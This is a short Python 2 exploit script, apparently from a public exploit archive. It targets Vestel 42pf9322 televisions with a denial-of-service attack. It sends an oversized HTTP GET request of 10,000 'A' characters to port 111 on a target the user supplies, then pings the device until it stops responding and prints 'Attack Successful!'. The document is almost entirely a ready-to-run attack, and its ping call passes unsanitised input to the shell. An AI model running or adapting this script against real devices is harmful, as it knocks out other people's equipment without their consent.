#!/usr/bin/python

# Exploit Title: Vestel TV Denial of Service (DoS) Attack
# Exploit Author: HackerSofi - hackersofi@gmail.com
# Date: 12/09/2013
# CVE Number:
# Vendor Homepage: http://www.vestel.com/
# Description: Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications.
#              If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes.
# Special Thanks : DaTaMaN


import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: HackerSofi - hackersofi@gmail.com \n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description:\n"
print "   Some TV's Has Communication Port. Vestel 42pf9322 Models TV Using Port 0f 111 For Network Communications. "
print "   If You Launch An Attack 0n The Communication Port, Tv System Will Be Crashes.\n "
print "   Special Thanks : DaTaMaN "
print "  ***************************************************************************************\n"

# Sends The Request
print "  Sending The Request...\n"
conn = httplib.HTTPConnection(sys.argv[1],111)
conn.request("GET", "A"*10000)
conn.close()

# Checks The Response
print "  Checking The Status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Attack Successful!\n"